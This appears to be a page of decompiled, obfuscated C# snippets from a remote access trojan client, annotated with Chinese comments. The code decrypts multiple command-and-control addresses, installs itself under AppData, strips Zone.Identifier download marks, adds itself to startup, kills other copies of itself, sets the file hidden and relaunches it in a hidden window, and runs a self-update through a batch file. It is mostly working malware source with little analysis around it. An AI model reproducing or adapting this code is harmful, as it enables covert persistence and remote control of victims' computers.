示例#1
0
 // Token: 0x0600016A RID: 362 RVA: 0x0000634C File Offset: 0x0000454C
 public GClass4()
 {
     base.SetStyle(ControlStyles.SupportsTransparentBackColor, true);
     GClass4.smethod_2(this, GClass4.smethod_1("Segoe UI", 8f));
     GClass4.smethod_3(this, Color.White);
     GClass4.smethod_4(this, Color.Transparent);
     GClass4.smethod_6(this, GClass4.smethod_5(this));
 }
示例#2
0
 // Token: 0x060005BB RID: 1467
 private static void smethod_2()
 {
     //判断判断互斥体是否多开,有则失去连接,并且返回
     if (!GClass2.smethod_0(GClass35.string_6))
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //解密Key
     GClass18.smethod_0(GClass35.string_2);
     //将上线地址解密放进队列在给实体类复制 (说明支持多地址上线)
     Class10.gclass25_0 = new GClass25(GClass6.smethod_0(GClass35.string_1));
     //解密远程文件下载路径 %AppData%/Subdir/client.exe
     GClass0.InstallPath = Path.Combine(GClass35.string_3, ((!string.IsNullOrEmpty(GClass35.string_4)) ? (GClass35.string_4 + "\\") : "") + GClass35.string_5);
     //geoip信息获取ip地理位置国家等信息
     GClass34.smethod_0();
     //判断上线地址是否失败
     if (Class10.gclass25_0.IsEmpty)
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //删除当前目录下的后缀为:Zone.Identifier
     GClass4.smethod_2(GClass0.CurrentPath);
     //判断当前目录是否是下载目录如果不是则进入
     if (GClass35.bool_0 && !(GClass0.CurrentPath == GClass0.InstallPath))
     {
         //互斥体存在则关闭
         GClass2.smethod_1();
         //运行下载路径的文件
         GClass13.smethod_0(Class10.client_0);
         return;
     }
     //用户状态更新线程 五秒更新一次
     GClass3.smethod_2();
     //添加程序到用户启动项
     if (GClass35.bool_1 && GClass35.bool_0 && !GClass16.smethod_1())
     {
         GClass0.AddToStartupFailed = true;
     }
     //添加并初始化实体类
     Class10.smethod_1();
     if (GClass35.bool_3)
     {
         if (Class10.threadStart_0 == null)
         {
             Class10.threadStart_0 = new ThreadStart(Class10.smethod_9);
         }
         new Thread(Class10.threadStart_0).Start();
         return;
     }
 }
示例#3
0
 // Token: 0x0600007A RID: 122 RVA: 0x000061D8 File Offset: 0x000043D8
 public static void smethod_0(Client c, string newFilePath)
 {
     try
     {
         GClass4.smethod_2(newFilePath);
         byte[] array = File.ReadAllBytes(newFilePath);
         if (array[0] != 77 && array[1] != 90)
         {
             throw new Exception("no pe file");
         }
         string text = GClass4.smethod_4(newFilePath, GClass35.bool_0 && GClass35.bool_2);
         if (string.IsNullOrEmpty(text))
         {
             throw new Exception("Could not create update batch file.");
         }
         ProcessStartInfo startInfo = new ProcessStartInfo
         {
             WindowStyle     = ProcessWindowStyle.Hidden,
             CreateNoWindow  = true,
             UseShellExecute = true,
             FileName        = text
         };
         Process.Start(startInfo);
         GClass0.Disconnect = true;
         if (GClass35.bool_0 && GClass35.bool_1)
         {
             GClass16.smethod_2();
         }
         c.Disconnect();
     }
     catch (Exception ex)
     {
         GClass26.DeleteFile(newFilePath);
         new SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(c);
     }
 }
示例#4
0
    // Token: 0x06000077 RID: 119 RVA: 0x00005F3C File Offset: 0x0000413C
    public static void smethod_0(Client client)
    {
        bool flag = false;

        if (!Directory.Exists(Path.Combine(GClass35.string_3, GClass35.string_4)))
        {
            try
            {
                Directory.CreateDirectory(Path.Combine(GClass35.string_3, GClass35.string_4));
            }
            catch (Exception)
            {
                GClass0.Disconnect = true;
                return;
            }
        }
        if (File.Exists(GClass0.InstallPath))
        {
            try
            {
                File.Delete(GClass0.InstallPath);
            }
            catch (Exception ex)
            {
                if (ex is IOException || ex is UnauthorizedAccessException)
                {
                    Process[] processesByName = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(GClass0.InstallPath));
                    int       id = Process.GetCurrentProcess().Id;
                    foreach (Process process in processesByName)
                    {
                        if (process.Id != id)
                        {
                            process.Kill();
                            flag = true;
                        }
                    }
                }
            }
        }
        if (flag)
        {
            Thread.Sleep(5000);
        }
        try
        {
            File.Copy(GClass0.CurrentPath, GClass0.InstallPath, true);
        }
        catch
        {
            GClass0.Disconnect = true;
            return;
        }
        if (GClass35.bool_1 && !GClass16.smethod_1())
        {
            GClass0.AddToStartupFailed = true;
        }
        if (GClass35.bool_2)
        {
            try
            {
                File.SetAttributes(GClass0.InstallPath, FileAttributes.Hidden);
            }
            catch (Exception)
            {
            }
        }
        GClass4.smethod_2(GClass0.InstallPath);
        ProcessStartInfo startInfo = new ProcessStartInfo
        {
            WindowStyle     = ProcessWindowStyle.Hidden,
            CreateNoWindow  = true,
            UseShellExecute = true,
            FileName        = GClass0.InstallPath
        };

        try
        {
            Process.Start(startInfo);
        }
        catch (Exception)
        {
            GClass0.Disconnect = true;
            return;
        }
        GClass0.Disconnect = true;
    }